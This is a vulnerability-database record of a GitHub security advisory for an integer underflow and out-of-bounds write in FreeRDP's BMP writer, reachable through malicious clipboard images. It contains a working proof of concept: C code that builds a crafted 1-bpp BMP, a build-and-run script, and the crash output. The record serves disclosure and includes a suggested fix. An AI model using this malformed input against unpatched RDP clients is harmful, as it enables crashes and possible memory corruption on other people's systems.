{"schema":"threatline.record/2","record":{"id":"GHSA-27m7-gwhh-6hhf","aliases":["GHSA-27m7-gwhh-6hhf"],"summary":"Integer Underflow (Wrap or Wraparound) and Out-of-bounds Write in FreeRDP","details":"### Summary\r\n\r\nFreeRDP's BMP writer computes a destination row as `width * (bpp / 8)`, but its BMP parser\r\ncomputes sub-byte image strides using `(bpp + 7) / 8` and four-byte alignment. A parsed 1x1\r\n1-bpp BMP therefore has `stride=4`, while the writer calculates `bpp_stride=0`. The writer calls\r\n`Stream_Zero(s, bpp_stride - stride)`, passing `SIZE_MAX - 3` to the memory fill.\r\n\r\nThe condition is reachable through clipboard image conversion. A malicious RDP clipboard peer can\r\nadvertise an image format and return BMP bytes; `clipboard_synthesize_image_format_to_bmp` uses\r\ncontent-based decoding and then invokes the affected BMP writer when the local side requests\r\nCF_DIB/CF_DIBV5.\r\n\r\nThe attached local-only reproducer builds the public 3.31.1 release in Debug mode. The real parser\r\naccepts the 58-byte input as `bpp=1, stride=4`, after which the writer aborts in `Stream_Fill`. The\r\n32-bpp control succeeds and emits a 58-byte BMP. Availability is dynamically demonstrated. In a\r\nbuild where assertions do not terminate first, source analysis shows the underflow reaching a\r\nmemory fill; confidentiality and integrity are therefore scored Low, but controlled corruption or\r\ncode execution was not dynamically demonstrated.\r\n\r\nThe vulnerable subtraction was introduced by\r\n`32cc0f0927f03a29c92cf21b849889aeb35995aa`; the first verified affected release is 3.14.1. It\r\nremains present in 3.31.1 and current `master` (`839dcaf29fb24a71a000f5e957d59f4e42aa37f7`).\r\n\r\n### Reproduction\r\n\r\nSave the following two files in one directory, make `run.sh` executable, and run it. The script\r\ndownloads and verifies the public 3.31.1 source archive, builds WinPR with assertions, runs the\r\nmalformed image, and then runs the valid 32-bpp control.\r\n\r\n<!-- BEGIN FILE: bmp_repro.c -->\r\n```c\r\n#include <winpr/image.h>\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\nstatic void put16(BYTE* p, UINT16 value)\r\n{\r\n\tp[0] = (BYTE)value;\r\n\tp[1] = (BYTE)(value >> 8);\r\n}\r\n\r\nstatic void put32(BYTE* p, UINT32 value)\r\n{\r\n\tp[0] = (BYTE)value;\r\n\tp[1] = (BYTE)(value >> 8);\r\n\tp[2] = (BYTE)(value >> 16);\r\n\tp[3] = (BYTE)(value >> 24);\r\n}\r\n\r\nstatic int parsed_1bpp(void)\r\n{\r\n\tBYTE bmp[58] = { 0 };\r\n\tbmp[0] = 'B';\r\n\tbmp[1] = 'M';\r\n\tput32(&bmp[2], sizeof(bmp));\r\n\tput32(&bmp[10], 54);\r\n\tput32(&bmp[14], 40);\r\n\tput32(&bmp[18], 1);\r\n\tput32(&bmp[22], 1);\r\n\tput16(&bmp[26], 1);\r\n\tput16(&bmp[28], 1);\r\n\tput32(&bmp[34], 4);\r\n\tbmp[54] = 0x80;\r\n\r\n\twImage* image = winpr_image_new();\r\n\tif (!image)\r\n\t\treturn 2;\r\n\r\n\tconst int rc = winpr_image_read_buffer(image, bmp, sizeof(bmp));\r\n\tprintf(\"parsed read_rc=%d width=%u height=%u bpp=%u stride=%u\\n\", rc, image->width,\r\n\t       image->height, image->bitsPerPixel, image->scanline);\r\n\tfflush(stdout);\r\n\tif (rc < 0)\r\n\t\treturn 3;\r\n\r\n\tsize_t output_size = 0;\r\n\tvoid* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);\r\n\tprintf(\"parsed output=%p output_size=%zu\\n\", output, output_size);\r\n\tfree(output);\r\n\twinpr_image_free(image, TRUE);\r\n\treturn 0;\r\n}\r\n\r\nstatic int control_32bpp(void)\r\n{\r\n\twImage* image = winpr_image_new();\r\n\tif (!image)\r\n\t\treturn 2;\r\n\r\n\timage->width = 1;\r\n\timage->height = 1;\r\n\timage->bitsPerPixel = 32;\r\n\timage->bytesPerPixel = 4;\r\n\timage->scanline = 4;\r\n\timage->data = calloc(4, 1);\r\n\tif (!image->data)\r\n\t\treturn 2;\r\n\r\n\tsize_t output_size = 0;\r\n\tvoid* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);\r\n\tprintf(\"control bpp=32 stride=4 output=%s output_size=%zu\\n\", output ? \"non-null\" : \"null\",\r\n\t       output_size);\r\n\tfree(output);\r\n\twinpr_image_free(image, TRUE);\r\n\treturn output_size == 58 ? 0 : 4;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif ((argc == 2) && (strcmp(argv[1], \"parsed\") == 0))\r\n\t\treturn parsed_1bpp();\r\n\tif ((argc == 2) && (strcmp(argv[1], \"control\") == 0))\r\n\t\treturn control_32bpp();\r\n\tfprintf(stderr, \"usage: %s parsed|control\\n\", argv[0]);\r\n\treturn 1;\r\n}\r\n```\r\n<!-- END FILE: bmp_repro.c -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nVERSION=3.31.1\r\nARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nWORK_DIR=${WORK_DIR:-\"$BASE_DIR/.build\"}\r\nARCHIVE=\"$WORK_DIR/$VERSION.tar.gz\"\r\nSOURCE=\"$WORK_DIR/FreeRDP-$VERSION\"\r\nBUILD=\"$WORK_DIR/build\"\r\n\r\nmkdir -p \"$WORK_DIR\"\r\nif [ ! -f \"$ARCHIVE\" ]; then\r\n\tcurl -fL --retry 3 -o \"$ARCHIVE\" \\\r\n\t\t\"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz\"\r\nfi\r\nprintf '%s  %s\\n' \"$ARCHIVE_SHA256\" \"$ARCHIVE\" | sha256sum -c -\r\n\r\nrm -rf \"$SOURCE\" \"$BUILD\"\r\ntar -xzf \"$ARCHIVE\" -C \"$WORK_DIR\"\r\n\r\nif command -v cmake >/dev/null 2>&1; then\r\n\tCMAKE=cmake\r\nelse\r\n\tCMAKE=\"python3 -m cmake\"\r\nfi\r\n\r\n$CMAKE -S \"$SOURCE\" -B \"$BUILD\" \\\r\n\t-DCMAKE_BUILD_TYPE=Debug \\\r\n\t-DWITH_KRB5=OFF -DWITH_UNICODE_BUILTIN=ON \\\r\n\t-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \\\r\n\t-DWITH_VIDEO_FFMPEG=OFF -DWITH_CAIRO=OFF -DWITH_X11=OFF -DWITH_FUSE=OFF \\\r\n\t-DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \\\r\n\t-DWITH_MANPAGES=OFF -DWITH_SAMPLE=OFF -DWITH_TESTING=OFF \\\r\n\t-DWITH_JPEG=OFF -DWITH_WEBP=OFF -DWITH_PNG=OFF \\\r\n\t\"$@\"\r\n$CMAKE --build \"$BUILD\" --target winpr -j2\r\n\r\ncc -g -O0 \\\r\n\t-I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n\t-I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n\t\"$BASE_DIR/bmp_repro.c\" -o \"$WORK_DIR/bmp_repro\" \\\r\n\t-L\"$BUILD/winpr/libwinpr\" -Wl,-rpath,\"$BUILD/winpr/libwinpr\" \\\r\n\t-lwinpr3 -lpthread\r\n\r\nset +e\r\n\"$WORK_DIR/bmp_repro\" parsed >\"$WORK_DIR/positive.txt\" 2>&1\r\npositive_rc=$?\r\nset -e\r\ncat \"$WORK_DIR/positive.txt\"\r\nprintf 'positive_exit=%s\\n' \"$positive_rc\"\r\n\r\n\"$WORK_DIR/bmp_repro\" control | tee \"$WORK_DIR/control.txt\"\r\nprintf 'control_exit=0\\n'\r\n\r\ntest \"$positive_rc\" -ne 0\r\ngrep -q 'parsed read_rc=1 width=1 height=1 bpp=1 stride=4' \"$WORK_DIR/positive.txt\"\r\ngrep -q 'control bpp=32 stride=4 output=non-null output_size=58' \"$WORK_DIR/control.txt\"\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\nObserved output (addresses and backtrace frames omitted):\r\n\r\n```text\r\n3.31.1.tar.gz: OK\r\nparsed read_rc=1 width=1 height=1 bpp=1 stride=4\r\n[FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= (_n))) [.../winpr/include/winpr/stream.h:Stream_Fill:1235]\r\nAborted (core dumped)\r\npositive_exit=134\r\ncontrol bpp=32 stride=4 output=non-null output_size=58\r\ncontrol_exit=0\r\n```\r\n\r\n### Suggested fix\r\n\r\nCalculate packed bytes as `(width * bpp + 7) / 8`, with checked arithmetic, before four-byte\r\nalignment. Reject any image where the supplied `stride` exceeds the validated destination stride,\r\nand reserve capacity for all source bytes plus padding before writing. Add 1-bpp and 4-bpp parser-\r\nto-writer and clipboard-synthesis regression tests under assertions and sanitizers.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-27m7-gwhh-6hhf","source_modified_at":"2026-10-02T10:01:28Z","fetched_at":"2026-10-23T19:58:35.668311Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.14.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-27m7-gwhh-6hhf","source_modified_at":"2026-10-02T10:01:28Z","fetched_at":"2026-10-23T19:58:35.668311Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":7.6,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-02T10:01:28Z","modified_at":"2026-10-02T10:01:28Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-27m7-gwhh-6hhf","fetched_at":"2026-10-23T19:58:35.668311Z","source_modified_at":"2026-10-02T10:01:28Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-02T10:01:28Z","content_hash":"982bb72c139e507205b4fc323d08e4e28cc07604bc7b3689323f6460fafeed7a"}}
